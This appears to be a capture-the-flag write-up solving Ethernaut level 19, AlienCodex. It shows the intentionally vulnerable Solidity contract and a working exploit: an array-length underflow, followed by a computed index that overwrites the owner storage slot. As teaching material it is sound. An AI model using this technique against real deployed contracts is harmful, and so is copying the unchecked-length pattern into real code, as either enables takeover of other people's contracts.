Ethernaut 19: AlienCodex
Objective
Claim ownership of the contract
Code
1pragma solidity ^0.5.0;
2import {Ownable} from "./Ownable-05.sol";
3
4contract AlienCodex is Ownable {
5 bool public contact;
6 bytes32[] public codex;
7
8 modifier contacted() {
9 assert(contact);
10 _;
11 }
12
13 function make_contact() public {
14 contact = true;
15 }
16
17 function record(bytes32 _content) public contacted {
18 codex.push(_content);
19 }
20
21 function retract() public contacted {
22 codex.length--;
23 }
24
25 function revise(uint256 i, bytes32 _content) public contacted {
26 codex[i] = _content;
27 }
28}
The idea is that you make_contact() with this alien and then you can append (record()), pop (retract()) or modify (revise()) a storage array which is the supposed communication.
1[I] capu ~/s/ethernaut-solutions (master)> forge inspect --pretty AlienCodex storageLayout
2| Name | Type | Slot | Offset | Bytes | Contract |
3|---------|-----------|------|--------|-------|--------------------------------------------|
4| _owner | address | 0 | 0 | 20 | src/levels/19-AlienCodex-05.sol:AlienCodex |
5| contact | bool | 0 | 20 | 1 | src/levels/19-AlienCodex-05.sol:AlienCodex |
6| codex | bytes32[] | 1 | 0 | 32 | src/levels/19-AlienCodex-05.sol:AlienCodex |
I gotta find a way to write my address to storage slot 0.
Solution
Too late to not see the highlighted lines? Well, it's okay, because this one is pretty hard anyway.
The first smell is that under solidity 0.5.0, it's possible to write to the .length member of an array, and no checks are in place to avoid decrementing an empty array.
Note
also, keep in mind that arithmetic used to overflow silently until verison 0.8.0.
So decrementing an empty array should actually make it of uint256.max length!
That, coupled to the fact that I can use revise() to write to any index of the array, looks like a blank check to write to any storage position. looking into the changes to the next major version seems to confirm this was a problem:
Member-access to length of arrays is now always read-only, even for storage arrays. It is no longer possible to resize storage arrays assigning a new value to their length. Use push(), push(value) or pop() instead, or assign a full array, which will of course overwrite existing content. The reason behind this is to prevent storage collisions by gigantic storage arrays.
I seem to have a plan now:
- make contact
- retract() to overflow the length of the array
- find where I would have to write to the array so it overwrites storage slot 0
- call revise with that index, plus the correctly padded address
- 😎
Step three is where I have to engage some braincells. First, the docs:
Assume the storage location of the mapping or array ends up being a slot p [...] Array data is located starting at keccak256(p) and it is laid out in the same way as statically-sized array data would: One element after the other, potentially sharing storage slots if the elements are not longer than 16 bytes
- from the output of forge inspect in the beggining of the article, I know that p == 1
- we can forget about the last part, since the elements are bytes32
So codex[0] will end up at position keccak256(1)
1➜ uint(keccak256(abi.encodePacked(uint(1))))
2Type: uint
3├ Hex: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
4â”” Decimal: 80084422859880547211683076133703299733277748156566366325829078699459944778998
keep in mind that awfully long number is where the start of the array will be. Whatever I pass to revise() as i will be added to it, and I want the result of it to overflow to a value of zero
1(keccak256(1) + i ) % uint256.max == 0
2// % -> - is equivalent for only one overflow
3// the +1 is because uint256.max is a value that can actually be held, one
4// more than that triggers the overflow
5(keccak256(1) + i ) - (uint256.max + 1) == 0
6(keccak256(1) + i ) == uint256.max + 1
7i == uint256.max - keccak256(1) + 1
8// -------------------------------------
9➜ type(uint).max - uint(keccak256(abi.encodePacked(uint(1)))) + 1
10Type: uint
11├ Hex: 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
12â”” Decimal: 35707666377435648211887908874984608119992236509074197713628505308453184860938
All that primary education finally paid off. And tying all the steps together:
1IAlienCodex target = IAlienCodex(target_);
2// this'll break the 'contacted' slot, I do not care.
3bytes32 storageContent = bytes32(bytes20(attacker)) >> 12*8;
4uint256 indexForStorageStart = type(uint256).max - uint256(
5 keccak256(abi.encodePacked(bytes32(uint256(1))))
6 ) + 1;
7target.make_contact();
8target.retract();
9target.revise(
10 indexForStorageStart ,
11 storageContent
12);